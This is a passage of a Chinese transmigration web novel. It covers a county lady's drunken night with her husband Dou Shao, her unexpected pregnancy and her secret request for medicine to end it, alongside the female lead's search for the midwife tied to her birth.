“此时殿下去蓟州可是有重要之事?”窦绍的话让信王有些踌躇,就连葛月神色也有些不自然。
信王明白他的意思,这个时候宫里正在商议他的婚事,他带着葛姑娘去了蓟州传出去确实不好听。
可他实在是没有办法,葛姑娘在京城举目无亲,没有人能依靠,只有他了。
“我带葛姑娘去找一个人,听说此人目前在蓟州。”
窦绍知道她是来京城查身世的,他也就明白了是什么意思,只是点点头,并没有好奇地追问下去。
之后的行程,卫姜都特意把葛月请了过来同车,她这是为了躲开窦绍。
她算是明白了,自己没有人家脸皮厚,在这一方面不是他的对手,她只能扬长避短了。
葛月刚开始还有些拘谨,但发现卫姜并没有要为难人的意思,她稍微自在了些。
两人同坐一车,不说话是不可能的,葛月看着是个清冷的人,但其实并没有那么孤僻,也懂得人情世故,卫姜地位高,这话题自然就需要葛月来找了。
卫姜也就知道了他们这次去蓟州的目的,她们要去寻找一位稳婆,当初葛月的养母就是通过这位稳婆抱养的葛月。
要抱养的条件就是要远离京城,所以孩子到手葛月养母就带着家里离开了京城,从此再也没见过稳婆。
她在徐家查了很久都没有线索,还是信王打听出了这位稳婆的线索。
路上花费了四天时间,他们总算进了蓟州,窦绍要去州府办事,而信王他们还要继续赶路,两队人马便在这里分开了。
“若是需要帮忙,可以派人送个信来,找人总是最费时间的,你们不妨多问问当地的老人。”卫姜给信王他们出主意。
窦绍留意到她好像很关心葛姑娘的事情,若是有借口,说不定她还会亲自去帮他们找。
他想的没错,她确实对这个葛姑娘非同一般的关注,窦绍眼神闪过几丝复杂,看向葛月的眼神也带着探究与防备。
既然是说来泡汤泉的,卫姜自然不乐意住在驿站,还好窦绍遵守承诺,给她找了一座泡汤泉最好的庄子。
窦绍很忙,卫
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姜基本上见不到他的人,她起来的时候窦绍早去走了,她睡着的时候他才披星戴月地赶回来。
甚至有好几天,他都住在了公衙,只派了人回来取东西。
卫姜知道他不回来,乐的轻松,这一晚她又去了后院泡汤,躺在温泉水中,看着漫天星辰,她忽然就情绪有些低落了。
今月曾经照古人,可能爸妈也许正对着这轮明月念着她呢。
她想喝酒了,卫姜让人取来了酒水。
长佩知道她喝不了酒,便取来了青梅酒,好喝又不会那么容易醉人。
可她没预料到有人会喝的那么多,一连喝了好几壶,她连路都走不了,可还直嚷嚷着没醉。
是没醉,眼珠子清亮的很,脑子也清醒,甚至还格外的有想法。
窦绍还不知道迎接他的是个酒鬼。
他轻手轻脚地上床,刚刚搭上自己的被子,正闭上眼准备入睡,却不想被子里忽然拱进来个人。
她的手就缠上了他的脖子,酡红的脸蛋不停地在他胸前蹭,中衣被她蹭开了,她热热的脸蛋直接就贴了上去,还发出很舒服的声音,过一会她还知道要换个地方贴。
眼看着就要往腹部贴去了,窦绍用手钳住了她的脸。
卫姜皱眉,发出不满的声音,窦绍早就味道那还未散干净的酒气。
“醉了?”
“没醉。”她睁开眼,嗔怒地瞪了他一眼,好像很不喜欢别人说她醉了。
“喝过醒酒汤了吗?”
卫姜摇头:“我又没醉,不喝。”
窦绍拉下她的手臂,哄她道:“好,你说没醉就没醉,那你能乖乖地睡回去吗?”
卫姜在继续挂着,和证明没醉之间,还是选择了证明自己乖。
窦绍松了口气,还能沟通说明确实没醉的那么厉害,他正要下床去给她倒茶,鞋子都还没穿上,就被人从后面紧紧抱住了腰。
她整个人都软软地趴在他身上,她的气息混合青梅的清香,竟然意外的不难闻,卫姜的手并不老实,手指就跟小蛇般不停地四处游动。
“你在做什么?”窦绍艰难地咽下喉咙,声音带着不易察觉地嘶哑。
卫姜亲了他一口,娇笑道:“帅哥,我们睡一觉吧。”
这么帅的帅哥,不能只给看不给吃啊。
她根本不用窦绍回来,话才说完整个人就贴进怀里了,她不得章法,四处点火。
窦绍被她缠的紧,大颗大颗的汗不住的从额头往下掉,好不容易把她丢开,刚要起身走却被人拉住了衣袖。
那中衣早就被她折腾的不成样子,也就两根袖子还挂在身上。
“你不喜欢我吗?我不漂亮吗?”她不胡闹了,就这么软巴巴地看着你,眼泪在眼眶里打转,好像只要窦绍一个点头,她就要准备哭了。
窦绍扶额,“别胡闹了,你喝醉了。”
下次再也不能让她喝酒了,不,府里就不能有酒。
她喝了酒发热,身上只剩下薄薄的一件寝衣,如今还凌乱地半褪着。
窦绍强忍住把她把衣服穿好,卫姜只是呆呆地看着。
窦绍其实手都有些发抖,只是他隐忍惯了,脸色并没有异常。
就在他以为卫姜安静下来时,她忽然凑上去咬了一口他的喉结,先是轻咬,然后是舔舐,然后又轻轻地磨着牙。
窦绍手一下子攥紧了,他闭下眼又睁眼,眼尾带着猩红。
“你知道自己在做什么吗?知道自己是谁吗?”
卫姜眼神迷离,点了点头,“我是卫姜啊!”
窦绍手上的青筋跳动两下,他深吸一口气,此刻在他怀里的她就如妖精一般。
“你好吵。”卫姜不想和他多说话,直接用嘴堵住了他还要说话的嘴。
卫姜脑子里很兴奋,她知道自己在干一件疯狂的事情,一件她清醒时定然不会做的事。
她要睡了这个男人!吃掉他!
14. 第 14 章
姜破天荒第一次醒的特别早,可睁开眼的瞬间,她还不如不醒呢。
昨夜的一幕幕闪现在脑海中,卫姜想挖个洞把自己埋起来,她的心里是住了个狂野女孩吗?她从不知道自己竟然能这么胆大,生扑了窦绍。
喝酒误事,古人诚不欺我,奈何她醒悟的太晚了。
卫姜松开捂住脸的手,从手指缝中她轻易就能看到窦绍脖子上的血痕印,谁干的不言而喻,她指甲缝里还残留着血渍呢?
她到底干了什么?怎么就把人家摧残成这样。
注意到窦绍眉头皱了一下,卫姜吓得立马闭眼装睡,还好是虚惊一场,他并没有醒来。
现在是躲过去了,可他总会醒的,到时该怎么办?卫姜急的只咬手指。
她怎么没把持住,不就是个帅哥吗?真没出息,又不是没见过帅哥,那么多男明星、爱豆,哪个又不帅呢。
可一想到窦绍,她的脸一垮,他真的太好看了,就好像长在她的心巴上,怕是当初第一眼她就惦记上了。
这才有了借酒行凶,生扑他的事情,没想到还真成功了。
要是窦绍是个发福的中年人多好啊,她定然不会犯这个女人都会犯的错误。
卫姜懊悔的咬被角,她只想走完剧情,保住命苟到最后,然后拍拍屁股回到自己的世界,这里的一切只为成为一场梦。
梦,卫姜两眼一亮,对,就是梦,就当一场春,梦,
她必须稳住,反正不能心虚,这样才不会被窦绍看出问题来。
卫姜在被子里摸了半天,这才摸到一件小衣,其他的是不能穿了,她看了一眼窦绍,确定他是真的还没醒,这才瞧瞧地从床脚爬出去。
昨夜是长佩当值,屋里的动静自然是忙不过她,原本她笃定卫姜今日定然会晚起,早晨听到动静是还以为是窦绍,谁知道出来的是卫姜。
长佩满脸惊讶,愣了一下才反应过来。
“我想沐浴。”
昨日他们折腾的太晚了,只是草草收拾了下,今日醒来她觉得浑身黏腻腻的,实在不舒服。
长佩脸有些发红,低声道:“热水一直备着呢,奴婢这就让人送来。”
水很快便送来了,卫姜实在是不方便留下她们服侍,主要是她身上痕迹也很不好看,特别腰间那几个清晰的指印实在太骇人,还有胸口那一块,简直没法看。
窦绍可真看不出来,平日里斯文温和的一个人,竟然这么禽兽暴力。
水热热的正好缓解她一身酸软,卫姜把整个人缩进水里,舒服地叹了口气。
大概泡了半个时辰的样子,等她收拾好从耳室出来,窦绍已经起来了,但今日他竟然没有出去。
卫姜有些不敢看他,尴尬地坐下,绣鞋里的脚趾已经在抠地了。
她故意多泡了些时间,就是想避开他,想着他平常这个时候早就出门了。
他天天说什么侍寝,现在好了,真睡了。
等下他不会说这事吧,那也太尴尬了,卫姜有些想遁地逃走。
窦绍是个多敏锐的人,那里会看不见她满身的不自在,只是事已如此,昨夜也确实是他放纵了,他一时理不清自己到底该如何做。
见她眼神闪烁,一看就知道昨夜之举,她确实是醉了。
窦绍捏进了手中的筷子,眼中闪过不悦,他跟前几日一样,很是平常地给她添了一碗粥。
“今夜我会晚点回来。”
窦绍脸色很平静,好像昨夜什么都没有发生。
卫姜有一瞬间觉得自己大惊小怪了,太过在意了。
是啊,在他看来,自己是他的妻子,两人发生什么也很平常,这么一想,卫姜狠狠滴搅动着碗里的粥,看向窦绍的目光很不爽。
窦绍需要努力才能压下嘴角的弧度,匆匆用完早膳就去了府衙,这次来蓟州是公务,事情已经到了最关键的时候,他片刻都不敢大意,两人之间的变故只能放一放。
窦绍走后,卫姜越想越不得劲,不就是睡个男人吗,人家都不在意,她有什么好心虚的,反正回去后这里不过是一场梦。
那就做了场了无痕的春梦,一切都是假的,都不作数。
她现在最主要的任务就是走剧情,等男女主在一起后,说不定她就回去了。
也不知道女主他们那边进展的怎么样了?那个稳婆找到了没有?
窦绍脸色非常不好,而且一直在走神,弄的府衙的人惴惴不安,生怕是自己做错了事,就连走路都放轻了几分,连话都不敢说。
“大人,有位贵客找您。”
顺才朝他比了个三的手势,窦绍一下子就明白是信王过来了。
窦绍前脚离开,后脚众人都长舒一口气,小声讨论着,窦大人是不是出什么事了,看起来不太高兴的样子。
窦大人是皇上心腹重臣,他们蓟州是万万不敢得罪的,那会是谁呢?
有人小声提了一句:“好像县主不放心也跟着来了我们蓟州。”
这说的县主必然就是窦大人的夫人了,这可是位难缠的主,他们一脸恍然的表情,点头表示懂了。
听说当初窦大人是非常不愿意这门婚事的,还是县主强买强卖地缠住了窦大人,听说婚后两人感情不睦,不然这么多年也不可能只有一子了。
有些人一脸同情,县主管的严,窦大人连个妾室都不敢有,有脑子灵活的已经在想着要不要带窦大人去放松放松,大不了不带回家好了。就不信县主能这么神通广大。
还不知道自己被同情了的窦绍见到了信王,当然还有一起过来的葛月。
“殿下,不知你找我可是有何事?”
信王起身给他行了个礼,这才坐下说道:“小王这次过来是有事想请窦大人帮忙。”他看了一眼葛月这才继续说道:
“听说义安县知县是大人的同年,我让请窦大人出面给这位知县打个招呼,我们想查一个人。”
窦绍抬眼看向信王,也不知道怎么回事,想到卫姜的奇怪神色,他竟然不敢和这位葛姑娘有过多的来往,他只能问信王:“可是要查那稳婆?”
他也是知道这事的,卫姜跟他说过,现在想想,卫姜说的次数有些多,竟让他都记住了。
葛月看了一眼窦绍,有些忐忑,但还好,窦绍并没有立马拒绝。
她和信王跟卫姜他们分开后就直接去的义安县,也很快就找到那稳婆的家。
可惜稳婆在三年前已经过世了,她的女儿并不知道这些往事,她只知道十几年前,她母亲忽然投奔了她来,其他什么都不知道。
不过她的女儿说过,她母亲是带了一笔钱财过来的,直到葛月说出了养母的名讳,那稳婆的女儿才惊呼。
原来葛月的养母和这稳婆是表亲。
葛月更觉得这事不对劲了,甚至觉得她们是不是有谋划地把她偷了出来。
她不是被抱养的,而是被拐带的,那稳婆常在京城富贵人家走动,那样的人家怎么可能养不起孩子需要抱给别人,而且还要求养家要远离京城,、。
会不会是养母和稳婆把她偷出来的,葛月咬着嘴唇,心里无端起了好多猜测。
“你们是想查那位稳婆的身份?那殿下您自己就可以去县衙看卷宗,此人从京城过来,那她的路引自然会在官府有留档。”
信王脸上有些为难,“小王不太好出面,这是关乎葛姑娘的身世,我要是亮明身份,这事就瞒不住了。”
他平白无故地调查一位稳婆,旁的人自然能猜出来,就怕有心人会做文章,他查了这么久,也觉得葛姑娘身世只怕不简单。
他怕打草惊蛇,万一后背后谋划之人,他必定在盯着这个稳婆。
窦绍点头,“可以,我这就写信。”
葛月脸上闪过喜色,她看向信王,两人相视一笑,齐齐松了口气。
“多谢大人相助,请受小女子一拜。”葛月朝窦绍郑重行了礼。
窦绍避开了:“葛姑娘不用谢我,要谢也应该是谢信王殿下,我也是看在殿下的面子上才谢这封信的。”
他说话的语气冷淡,这让葛月有些下不来台,信王见了忙打圆场,“不用谢不用谢,都是一家人,窦大人是我表姐夫,你是我的救命恩人,他帮你也是替我还恩。”
窦绍:“殿下说的是。”
葛月脸色和缓了些,但还是对着信王行了一礼,“殿下帮了我良多,我是应该谢谢你。”
信王扶起她,满不在乎道:“那你还救了我一命,我帮你也是应该的。”
拿到了信,信王和葛月又要返回义安县,离开府衙前葛月转身看向那个伏案之人。
这人真奇怪,葛月还是第一次见到对她如此无视的人。
信王曾说过,这位窦大人很得皇上看重,且他位高权重,若是能得他几分青眼,说不定更容易查清身世,对以后也有益处,可惜……他好像不太喜欢自己。
虽说信王也不错,但毕竟没有实权,不过他对她很好,他在
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竭尽全力的帮她,葛月很是感动。
她转头看向信王,眼里全是柔情。
……
窦绍回府时,正房一片漆黑,他下意识加快了脚步,等看到守在门口一脸为难的长佩,他顿时一松。
“她睡了?”
长佩点头,“县主说她有些不舒服,怕惊扰了大人休息,特请您去厢房住几日。”
他要推门的手顿住了,看向一旁使劲低头地侍女。
他心里明白,只怕她原话没有这么委婉,侍女才会害怕成这个样子。
“我知道了,我先去看她一眼。”
这次长佩没有阻拦,只是跟着窦绍一起进了屋,屋里很黑,长佩执着烛火跟在后面。
窦绍掀开帷帐一角,看她睡的甜香,轻笑了一下,这才退了出去。
刚开始窦绍没有把这次分房放在心上,以前,他和那人也是分房睡的,要不是为了探清她的底细,他早就应该去前院住了。
只是等两人回了京,他却依旧进不了正院,眼看就要过年了,他却依旧住在冷冰冰的前院。
就连儿子看他的眼神都有些奇怪了,担心之余甚至还有丝丝地同情。
不能再这么下去了,他必须找她谈一谈。
窦绍把想入住正房的申请温婉跟卫姜说了,可能说的太过委婉,她竟然装没听懂,不得已,窦绍只能放低了态度,又把年节夫妻俩不住在一起的坏处往大了说。
卫姜想到儿媳的大肚子,如今连窦景那小子都留意到了,以为她性子又变回从前,那敏感的陶氏,会不会又胡思乱想呢。
她可就快要生了,御医早就说过,她这胎怕是很难足月。
卫姜咬牙同意了他的请求,但有一个要求:不许喝酒
两人对视一眼,又立马移开,两人都想到了其他,卫姜想到了窦绍喝醉喜欢侍寝,而自己对帅哥把持不住,容易越界。
窦绍却想到了那一夜,那夜可是她喝醉了。
两人都有些不自在
窦绍的睡正房也就真的是睡觉而已,卫姜特意让人搬来一张能睡一人的软榻,这就是他的床。
等过了年节,他就可以滚回前院了。
卫姜已经打定主意,要抵制住帅哥的诱惑,她现在一心只想回家,所以要杜绝一切犯错误的机会。
时间过的很快,年节很快就到了,卫姜初一进宫给皇帝太后拜年,晚上留在宫里参加晚宴,年初二去了卫家,整个年节不是在参加宴会,就是参加宴会的路上。
这半个月比她上班一年还累,卫姜都觉得自己忙的内分泌失调了,最近脾气都暴躁了很多。
刚进二月,陶氏在初八的一个早上发动了,经过一日一夜的折腾,终于平安生在了一个儿子。
这次因为卫姜提前请了太医院的黄院判坐镇,陶氏虽然生的艰难,但好在有惊无险,身子没有收到什么太大的损伤,就连孩子也康健,就是瘦弱了些,养养也就好了。
卫姜悬着的心终于放下了,陶氏身子没有受损,那她自然也不会走上那条绝路了,还有孩子,也不再是体弱多病,一生都要伴随着药罐子了。
她这算是在不影响剧情的情况下,拯救了三条人命吧,陶氏和孩子还有会被逼疯的窦景。
这么一想,她整个人都轻松了许多,也许是轻松的过头了,她觉得整个人都旋转起来。
窦景正抱着儿子稀罕呢,听到惊呼声转过头就看见他娘正一头往地上栽,他离得最近,刚想去接,发现自己手里还有个孩子。
眼看他娘就要撞到头了,还好紧要关头他爹抱住了。
窦景还是第一次在他爹脸上看到惊慌还有害怕。
他的脸冷的吓人,吩咐窦景去把没走远的黄院判叫回来,自己拦腰抱起卫姜就回了正房。
黄院判跑的气喘嘘嘘,连口气都没喘匀就被窦绍逼着诊脉。
这有什么好诊,一看就是太累了,他上个月才给县主请过平安脉,康健的跟头牛似的。
不过为了安家属的心,他还是细细探了脉,咦!
他的这声咦让窦绍和窦景都紧张起来了,看黄院判眉头微皱,手下用力,窦绍捏紧了拳头。
“黄院判,内子情况如何?”
窦绍既害怕他诊出什么来,又怕他诊不出来,他心里有些慌,担心再次醒来的是另一人。
黄院判眼神有些怪异地打量着父子俩,慢慢地收回手。
“恭喜了,县主这是有身孕了。”
15. 第 15 章
如一道天雷轰了下来,父子俩都愣在当地,窦景看看昏睡的母亲又看了眼父亲,这都是什么事,他今天刚生了儿子,转头告诉他,娘又要给他添个兄弟了。
窦绍耳边嗡嗡,甚至有些听不清黄院判在说什么。
有了身孕!他的脸上表情有些怪异。
窦景见了心里一突,吓的转身又看向床上的母亲,父亲那脸冷的,难道孩子不是他的?
娘偷偷养了面首?听说当初外曾祖母也是有过面首的,不怪窦景会这么想。
黄院判不知道父子俩想什么,他也不好奇窦绍为何不见喜色,只是敬业地继续道:“县主身子有些弱,加上年纪也大了她又多年未再生育,此胎只怕还要多加留意,最好还是不要让她太过操劳耗神了。”
窦绍总算缓过神来了,“多些黄院判了,内子的身子还要多劳您操心了,不知要用些什么药,府里没有的我让人这就去买。”
“我先开几幅安胎的药,但也不用多吃,如今脉还浅,半个月后我再来诊脉。”
也不知道县主是如何重新获得了宫里的恩宠,皇上对新宜县主那是看重的很,他回宫后自然要回禀这个好消息,到时候皇上只怕还是会派他侍候县主这胎。
卫姜醒了有一会了,黄院判的话她自然也听见了,她双眼发直,整个人都像是被大炮轰焦了一样。
晴天霹雳,天降噩耗,她怎么可能!怎么会!,一定是那个黄院判老糊涂诊错了。
她一直装死,直等窦绍父子送黄院判出门后,她才双手插头,一副懊悔的要捶死自己的模样。
是她大意了,原主月事不调,那大姨妈很不稳定,最近都有好几个月没来了,她甚至都觉得是绝经了。
而且窦绍和原主这么多年都没折腾出第二个来,她心里已经默认两人间定然有一个不孕不育了。
怎么就这么倒霉,不就是睡了个帅哥吗?而且她已经知错就改了,都帅哥赶走了,决定以后劫色,怎么老天爷还这么对她。
也太倒霉了吧,一次就中,怎么买彩票的时候就没这个运气呢。
该说地好还是窦绍的种子好,不就是一夜吗?怎么就闹出人命了。
卫姜把身子弓起来,手试探着伸向腹部,肚子软软的摸起来全是肉,这里面竟然有个孩子了。
欲哭无泪,她该怎么办?她是一定要回去的,在这里生个孩子算怎么回事,她又不能带回去。
要命,果然俗话说的对,美色误事,都怪窦绍,要不是他长得勾人,她也不会起了色心,也就不会闹出人命了。
卫姜后悔的用头直撞墙壁,她怎么就没控制住呢,让你乱扑人,现在完了!
前脚刚送走黄院判,后脚窦绍就看见自家儿子一副欲言又止的模样。
“你要说什么?”窦绍问他。
窦景是想替母亲求情的,自他有记忆开始,家里从来没有像最近这么平和过,母亲也没有乱发脾气,和父亲可以算得上是相敬如宾。
可他是没想到,母亲竟然作了个大的。
也不知道父亲会怎么做,窦景吞吞吐吐小声道:“孩子毕竟是无辜的,御医也说了,母亲身子弱。”
或许让母亲养好身子后再处理这个孩子。
窦绍太了解自己这个儿子了,瞬间黑了脸,拳头都硬了,强忍住才没有一脚踢过去,这还是看在刚出生的孙儿面上。
他脑子里一天到晚都在想些什么,竟往歪处想,谁家孝顺儿子盼着父亲戴绿帽子的。
“你胡说些什么,有时间胡思乱想不如多看两本书,说不定状元都中了。”窦绍露出嫌弃的目光。
窦绍对窦景一向是温和的鼓励教育,今日还是第一次嫌弃他。
怎么?有了老二开始偏心了?
“你娘如今身子不便,你媳妇那边怕是顾不上,我看不如请你岳母来小住一段日子。”
窦景想到儿子和媳妇,暂时就把父亲刚刚的嫌弃抛到了一边,他如今也明白了,之前什么绿帽子的全是他想多了。
娘是真要给他添弟弟了,而他爹刚刚那反应,怕是太惊喜了,你看,如今反应过来了,立马就体贴起娘亲了。
忽然,窦景打叫了一声糟了,他看向父亲,说道:“我忘了去陶家报喜了。”
儿子刚出生,他娘就昏倒了,当时都乱套了,自然也就没安排人去各处报喜。
这确实是他们疏忽了,窦绍想到儿媳妇才刚刚生产完,便对窦景道:“你也快回去看看你媳妇,她怕是还担心着,让她好好休养,家里的事情她不用担心,至于报喜的事情我来安排。”
说到报喜有些停顿,他拿不定主意要不要把卫姜有喜的事情说出去,这个孩子来的太意外了,完全在他的掌控之外,这是一个变数。
他和卫姜之间,原本是很简单的一件事,一旦有了孩子就会变得复杂。
目前他很需要卫姜,不管是宫里还是朝堂,他都需要卫姜的身份,甚至她的名声还能给他省去不少麻烦。
他刚进户部,卫姜是不能出现任何变故的,他很需要她这个妻子,哪怕只是名义上的。
其实蓟州那一夜他完全是有机会脱身的,可他为什么选择了沉沦,最重要的原因是:他要稳住她。
他们是多年夫妻,那个时候他要是拒绝了,事后清醒过来她一定会怀疑,说不定她会警觉,从而离开,又或者把那人换回来。
这是他不能去赌的,如今的这个“妻子”他是很满意的,至少这人很安静,他不用担心真的会后院起火。
他不会承认,那个时候好像被蛊惑了一般不想拒绝。
……
他和儿子在园子里便分开了,窦景回了自己的住处,窦绍再次去了正院。
侍女们说她还没有醒,一直都没有叫人,窦绍轻轻推门进去。
屋里很安静,能清晰听到她呼吸的声音,有些急促,鼻息很重,她应该是醒着的,窦绍明白她为什么不叫人,只怕是和他一样吧。
觉得太意外了,她需要时间接受,他也不戳穿。
越是靠近床,她的呼吸就越轻,手指紧紧揪着褥子,她能听到窦绍停下脚步,找了个地方坐下。
窦绍眼睛看向卫姜腹部的位置,心里有些复杂,那里有他的孩子,他有种直觉,这会是个漂亮的女儿,
以后徐仰怕是不能在他面前炫耀女儿了,他马上也要有女儿了。窦绍脸上有了笑意,不管怎么样,这是他的孩子,怎么都要平安生下来的。
其实有了这个孩子也好,娘亲总是舍不下孩子,她对窦景都那么心软,对这个孩子只怕更疼爱吧。
人有了软肋就会好掌控很多,他也不用担心她会突然爆发,作出对他对窦家不利的事情。
等查清她的身份,她的目的,那个时候他应该已经在朝中稳住了局势,两人也可以
自己女儿定然也像徐仰女儿一样乖巧可爱,不,甚至是漂亮聪慧一百倍,窦绍目光变得越来越柔和,他甚至伸手隔住被子去抚摸她的腹部。
卫姜动也不敢动,她觉得自己脖子都僵硬了,还好,他并没有多待,很快就离开了。
卫姜在屋里想了大半日,最后还是觉得最好不要这个孩子。
一来,她根本没打算在这个世界生孩子,二来,她是个变数,是书中没有的角色,卫姜不知道她会不会对剧情有影响。
卫姜摸着肚子,抱歉道:“对不起了。”
原谅她的狠心,她自从知道怀孕后只剩下惊慌和害怕,她完全没有做好当妈妈的准备,又怎么能如此草率的生下一个孩子呢。
那一夜已经是个错误,她不能再继续错下去。
既然做好了打算,她就要快点行动起来,时间不等人。
原本窦绍若是也不想要这个孩子,事情倒是好办,可他给全府的下人都发了赏,那高兴的样子就不像是不想要。
所以卫姜也不敢说,只能自己想办法了,原本她想找个大夫开一剂药,谁知道大夫前脚进门,后脚黄院判急匆匆地赶来了。
原来皇上也知道了她有身孕,特地派他来照看她的胎,还大张旗鼓地赏了东西来,宫里其他人知道了,太后也派人赏了东西来,其他人自然也多多少少送了些。
这些京城该知道的都知道了,卫姜的打算就没那么容易达成了。
她又没有心腹之人能帮她办这事,长佩她们正高兴她有孕呢,敢让她们去买堕胎的药,只怕以为她疯了,想必很快窦绍也该知道了。
没有正当理由,不想要这个孩子是不可能的,何况皇帝都知道了还表示了看重。
卫姜在床上翻来覆去地想了三日,京城的大夫怕是不能请了,她只能那主意打到回医术的女主身上。
她和女主也算是相识,且她还算是间接帮助过女主,她得想想办法,让女主出手帮自己。
次日,卫姜找了个借口邀请葛月来了府上赏花,自然不是邀请她一个,还有京中其他贵女。
苏妍看着贺家小姐身后的葛月,脸上闪过愤色,她对贺家小姐道:“真是什么
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人你都敢往这窦家领,也不怕县主怪罪。”
“我可是听说县主最近身子不舒坦,那脾气也比往日大了些,是不是?巧珍?”她问旁边穿绿色衣服的少女。
那少女低着头,表情有些怯弱:“我……我不知道,我很久没见姑母了。”
这少女是卫家大小姐卫巧珍,因为是庶女,以前原主很是看不上她,说实话,这还是她第一次来窦家。
“没用。”苏妍白了一眼这废物,真是烂泥扶不上墙,同时国公府女儿,她还有个县主姑母,竟然还这么没用。
她看了一眼不远处温婉浅笑的苏青,眼中闪过一丝嫉恨,这一幕却被人群后的葛月看了个正着。
“可不是我要带她来的,是县主亲自下的贴子请月姐姐的。“贺家小姐早就看不惯苏妍的做派,不过是国公府二房小姐,仗着宫里皇后,又觉得姐姐要嫁信王了,竟然处处要压别人一头。
要知道苏大小姐才是国公府大小姐,皇后才是她的姨母,她苏妍算什么,人家苏青都没她这派头。
再说了,她们贺家好歹也是信王外家,她苏妍凭什么处处看低她。
想到这里,贺小姐就气,她故意道:“也许是信王殿下跟县主要的帖子也说不定,信王对月姐姐可好了,是吧?月姐姐。”
葛月哪里不知道贺小姐拿她做筏子,贺小姐可从来没有这么亲热叫过她。
见葛月半响不说话,贺小姐脸上冷了下来,让苏妍好一阵取笑。
贺小姐刚要发作,长佩过来了。
“葛姑娘,我们县主让我来请你。”
众人惊讶,就连葛月都有些奇怪,是的,她也以为这赏花宴是信王殿下操作的。
她跟着长佩一路却了正院,卫姜穿着一身常服歪躺在暖阁中,笑着招手让她坐。
“见过县主。”
“不用多礼,我冒昧请你来其实是有事相求。”卫姜开门见山说出目的。
葛月有些讶异,卫姜掏出帕子苦着脸啜泣了起来,屋里只有她们两人。葛月坐立难安。噌地长了起来。
卫姜拉住她的手让她坐下,说道:”葛姑娘,你医者仁心,想必一定会帮这个忙的,你放心,我不会白帮忙,就当我欠你一份人情,以后只要你有需要我一定还。”
她自信还是能帮女主很多的,就比如她要查自己的身世,她可就太能帮忙了
葛月眼神动了动,说道:“县主这话严重,您尽管吩咐,能帮上的我一定帮。”
有她这句话,卫姜神色松了一些,她眼睛已经红了一片,姜汁放多了,有些辣,不过目的算是达到了。
“是这样的,我有一个朋友,她和丈夫感情不睦,她丈夫根本不喜欢我朋友,还嫌弃她,常常对她冷言冷语,对她很不好,之前还好,她丈夫在外地,她们见不到,还能忍,可今年她丈夫回来,更要命的是,她还怀孕了。”
卫姜说到激动处拉住了她的手,“她一把年纪了,身体又不好,哪里能经得住这生产之苦,就想找个大夫开一剂药……。”
说完卫姜看了一眼葛月,不愧是女主,神色依旧能稳得住,完全不为所动。
“她是真的年纪太大了,这高龄产子太危险了,葛姑娘是大夫自然也清楚。”
葛月听到这话,飞快往卫姜脸上扫了一眼,面前这雍容艳丽的贵夫人正值年华,她是怎说出那句老的。
是的,虽然县主用了一个朋友,但她已经猜出来了,县主只怕说的就是她自己。
刚刚她也借着手中动作探过脉了,确实是滑脉,只是……县主不想要孩子,为何这么迂回。
这其中难道有隐情?
可她也不能这么直白拒绝一位县主,葛月思考片刻,这才道:“只是我并不精通女科,而且我也没有诊过脉,只怕不好开药。”
啊!不是啊,女主不是全能人才吗?之后还替难产的人接生了呢,怎么就不精通女科了。
不用谦虚的啊!
“她两个月不到的身孕,你只要按照平常药方开上一份就好。”
卫姜知道她强人所难了,可她只有女主这一棵救命稻草啊,不道德也要做了。
葛月考虑片刻,又见她以县主身份威压,只能勉强道:“那我明日让人把方子送来吧。”
“现在不能写吗?”
葛月:“我还需回去斟酌下药量。”
卫姜想到有了方子药也是问题,便厚着脸皮道:“那你直接把药配好送来吧,银钱我出。”
葛月应了。
16. 第 16 章
“是信王府的人送来的?”
窦绍看着手中的帖子,有些不确定问顺才,回京后他和信王并没有什么往来,怎么忽然给他下帖子,约他见面。
顺才点头:“是信王身边的人亲自送来的,说是有重要的事情要见您一面。”
窦绍点头,太子刚巧走了过来,听到了这话,笑着道:“可能是为了苏家的这门婚事,窦大人可得帮帮孤这个弟弟吧。”
窦家和苏家是姻亲,信王也许是想知道一些苏家的情况。
窦绍微蹙眉头,“此事信王殿下直接去找皇后娘娘岂不是更快。”
太子摇头:“皇后娘娘最近身子微恙,三弟只怕不想搅扰她养病。”
皇后已经病了有些日子了,太医院却一直只开一些太平方慢慢养着,听太子妃说,皇后整个人都瘦了一圈。
窦绍点头,问起太子:“太子可是要回东宫了?”
太子笑着点头道:“正是,时间也不早了孤也该要回宫了,窦大人也别多耽搁了早点回府吧,孤听说阿姜姐姐又有喜了,恭喜窦卿了。”
“多谢太子。“窦绍嘴角微微翘起,躬身道谢。
太子很是羡慕,窦绍和卫姜这个年纪都还能再有孩子,他心里也是奢望他和太子妃也能有个一儿半女。
东宫储位稳当,他这个太子也做的不错,可唯有一点让朝堂内外都不太满意,那便是子嗣。
太子妃嫁进东宫十来载,却一直没有为太子生下子嗣,如今东宫仅有的两个孩子也都是妾室所出。
朝堂内外都盼着太子妃生下嫡子,太子自然更想,他想和妻子,生下一个带着两人血脉的孩子。
所以听到阿姜姐姐又有身孕时,他和太子妃心里又起了希望。
也许他们也能有窦绍和阿姜姐姐的运气呢。
太子不由地对窦绍起了几分好感,就连这次来户部办差也是他主动和皇上提的,目的就是为了靠近窦绍一些,说不定能沾些喜气。
可惜阿姜姐姐在养胎,不便惊动,不然他定要叫太子妃去亲近亲近。
“阿姜姐姐身子可好些了?皇祖父和父皇他们都盼着她进宫呢。“
窦绍:“在用着太医院的药,御医吩咐说是等胎稳了在出门最好。”
太子被看破了心思,脸上讪讪,笑着点头道:“那还是听御医的,进宫不急。”
胎稳了至少也要满三月,忽然间觉得时间怎么这么慢呢。
送走了太子,窦绍又忙了一个时辰这才回府,他是急着今日把公务忙完,明日休沐可以多陪陪她。
虽然也知道她可能不是很喜欢他的陪伴,不过该做的窦绍都会做。
他先是在前院梳洗过后,这才回了正房,卫姜还没有睡,正歪在一旁看书。
“怎么还没有睡,可是孩子闹腾的厉害?”窦绍靠近了些,想要查看卫姜的情况。
还没靠近呢,卫姜转过身去,把书压在枕头下,打了个哈欠,“我要睡了。”
这是赶人离开了,窦绍眼神定定看了她有片刻,就在卫姜以为是不是生气时,他又什么都没说的离开了。
离开内室,窦绍叫来伺候卫姜的贴身侍女,长佩,田彩和蓝心。
询问她们卫姜这几日具体情况,得知花宴后她一直很安静,窦绍眼中有了一丝疑惑。
这太反常了,她不应该这么安静的。
“安胎药县主可用了?”窦绍问道。
田彩就是负责每日熬药的,她点头:“县主都有喝了的,今日已经是最后一剂了。”
虽然县主怕苦,不愿意喝,但她们都盯着呢,有哄着县主好好喝药。
窦绍:“你们要好好侍候县主,有什么不对要及时跟我说。”
